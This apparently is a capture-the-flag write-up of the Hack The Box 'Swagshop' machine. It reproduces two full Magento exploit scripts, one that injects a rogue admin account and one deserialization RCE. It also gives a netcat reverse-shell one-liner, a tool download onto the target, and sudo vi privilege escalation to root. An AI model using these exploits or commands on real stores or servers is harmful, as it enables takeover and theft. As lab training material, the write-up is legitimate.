Hack The Box - Swagshop
This machine was not my first Linux machine but I had fun rooted this machine ! :D
Configuration
The operating system that I will be using to tackle this machine is a Kali Linux VM.
Always remember to map a domain name to the machine’s IP address to ease your rooting !
1
$ echo "10.10.10.140 swagshop.htb" >> /etc/hosts
Reconnaissance
Using nmap
, we are able to determine the open ports and running services on the machine.
1
2
3
4
5
6
7
8
9
$ nmap -sS swagshop.htb -p 1-65535 -T4
Nmap scan report for swagshop.htb (10.10.10.140)
Host is up (0.25s latency).
Not shown: 64605 closed ports, 928 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1312.66 seconds
Not much can be done with the ssh
service as we do not have any credentials on hand so lets come back to it later. As for the http
service, lets see if we can gather any information or exploit it ?
Magento
? After some searching, we found out that Magento
is an open-source website that people can use to run their e-commerce business.
Exploitation (1)
Lets try to find some exploits for Magento
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ searchsploit magento
---------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
---------------------------------------------------------------------------------------- ----------------------------------------
Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Sit | exploits/php/webapps/32808.txt
Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cro | exploits/php/webapps/32809.txt
Magento 1.2 - 'downloader/index.php' Cross-Site Scripting | exploits/php/webapps/32810.txt
Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File | exploits/php/webapps/39838.php
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution | exploits/php/webapps/37811.py
Magento Server MAGMI Plugin - Multiple Vulnerabilities | exploits/php/webapps/35996.txt
Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion | exploits/php/webapps/35052.txt
Magento eCommerce - Local File Disclosure | exploits/php/webapps/19793.txt
Magento eCommerce - Remote Code Execution | exploits/xml/webapps/37977.py
eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection | exploits/php/webapps/38573.txt
eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service) | exploits/php/webapps/38651.txt
---------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
The one worked was Magento eCommerce - Remote Code Execution
. Below is a slightly modified version.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import base64
import sys
target = "http://swagshop.htb/"
username = "try"
password = "again"
if not target.startswith("http"):
target = "http://" + target
if target.endswith("/"):
target = target[:-1]
target_url = target + "/admin/Cms_Wysiwyg/directive/index/"
q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user`
(`firstname`, `lastname`,`email`,`username`,`password`,`created`,
`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`)
VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name)
VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""
query = q.replace("\n", "").format(username=username, password=password)
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
r = requests.post(target_url,
data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
"filter": base64.b64encode(pfilter),
"forwarded": 1})
if r.ok:
print "WORKED"
print "Check {0}/admin with creds {1}:{2}".format(target, username, password)
else:
print "DID NOT WORK"
Before running the script, I checked whether http://swagshop.htb/admin/Cms_Wysiwyg/directive/index/
was a valid URL. Unfortunately, it wasn’t. Maybe we need to specify a base URL ?
When browsing the website, I realised that the different page URLs were being appended to index.php
.
To test my theory, I browsed to http://swagshop.htb/index.php/admin
and I was greeted by the the admin panel login page.
So if we try appending index.php
to the target
variable in the script
1
target = "http://swagshop.htb/index.php"
and running the script,
1
2
3
$ python magento.py
WORKED
Check http://swagshop.htb/index.php/admin with creds try:again
It worked ! Lets try to login as try:again
.
Exploitation (2)
Alright! We got an administrative account which can pretty much have access to all the features on the website. Lets try to establish a foothold on the box which requires another exploit to be used. Back to our searchploit results, there was one exploit that required us to be authenticated.
1
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution | exploits/php/webapps/37811.py
I’ve configured the script in this way:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python
# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE
# Google Dork: "Powered by Magento"
# Date: 08/18/2015
# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
# Vendor Homepage: http://magento.com/
# Software Link: https://www.magentocommerce.com/download
# Version: 1.9.0.1 and below
# Tested on: Ubuntu 15
# CVE : none
from hashlib import md5
import sys
import re
import base64
import mechanize
def usage():
print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
sys.exit()
if len(sys.argv) != 3:
usage()
# Command-line args
target = sys.argv[1]
arg = sys.argv[2]
# Config.
username = 'try'
password = 'again'
php_function = 'system' # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000' # This needs to be the exact date from /app/etc/local.xml
# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
'\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \
'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \
'_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
#br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)
request = br.open(target)
br.select_form(nr=0)
br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password
br.method = "POST"
request = br.submit()
content = request.read()
url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)
request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)
payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()
exploit = tunnel + '?ga=' + payload + '&h=' + gh
try:
request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
print e.read()
For the install_date
variable, it can be found in http://swagshop.htb/app/etc/local.xml
. Now lets test it out with a whoami
command. For the target
variable, which is the first argument, it is the URL of the admin login page (http://10.10.10.140.htb/index.php/admin
). Note that we cannot use the domain name swagshop.htb
as we will always be redirected to 10.10.10.140
for some reason.
1
2
$ python poc.py http://10.10.10.140/index.php/admin "whoami"
www-data
Great! Now lets our listener and establish a reverse shell connection!
1
2
$ nc -lvnp 1337
listening on [any] 1337 ...
1
$ python poc.py http://10.10.10.140/index.php/admin "rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|/bin/sh -i 2>&1|nc 10.10.XXX.XXX 1337 >/tmp/g"
As expected, we caught the reverse shell.
1
2
3
4
connect to [10.10.XXX.XXX] from (UNKNOWN) [10.10.10.140] 39904
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Enumeration
To quickly enumerate for possible privilege escalation vectors, I will using LinEnum. To transfer it from my machine to this machine, I will be using python
’s SimpleHTTPServer
module.
On my machine:
1
2
3
4
5
$ mkdir httpserver
$ cd httpserver
$ cp ~/Downloads/LinEnum.sh .
$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
On the Swagshop
machine:
1
2
3
4
5
6
7
8
9
10
11
12
$ wget http://10.10.14.140/LinEnum.sh
--2019-09-07 05:03:29-- http://10.10.14.140/LinEnum.sh
Connecting to 10.10.14.140:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45651 (45K) [text/x-sh]
Saving to: 'LinEnum.sh'
0K .......... .......... .......... .......... .... 100% 82.5K=0.5s
2019-09-07 05:03:31 (82.5 KB/s) - 'LinEnum.sh' saved [45651/45651]
$ chmod 777 LinEnum.sh
$ ./LinEnum.sh
LinEnum.sh
revealed that www-data
had sudo privileges.
1
2
3
4
5
6
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
[+] Possible sudo pwnage!
/usr/bin/vi
www-data
is only able to execute /usr/bin/vi
on a file in /var/www/html/
as root
. To read the root flag, there are actually 2 ways to go about doing this.
root.txt (1)
vi
actually has the ability to open a shell inside it by entering :!bash
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ sudo /usr/bin/vi /var/www/html/a
~
:!bash
whoami
root
cat /root/root.txt
c2b0XXXXXXXXXXXXXXXXXXXXXXXXXXXX
___ ___
/| |/|\| |\
/_| ´ |.` |_\ We are open! (Almost)
| |. |
| |. | Join the beta HTB Swag Store!
|___|.__| https://hackthebox.store/password
PS: Use root flag as password!
root.txt (2)
If we create a symbolic link in /var/www/html
that references the root flag, we will be able to trick sudo
into thinking we are simply opening a file in /var/www/html/
with vi
!
1
2
3
4
5
6
7
8
9
10
11
12
$ ln -s /root/root.txt /var/www/html/root.txt
$ sudo vi /var/www/html/root.txt
c2b0XXXXXXXXXXXXXXXXXXXXXXXXXXXX
___ ___
/| |/|\| |\
/_| ´ |.` |_\ We are open! (Almost)
| |. |
| |. | Join the beta HTB Swag Store!
|___|.__| https://hackthebox.store/password
PS: Use root flag as password!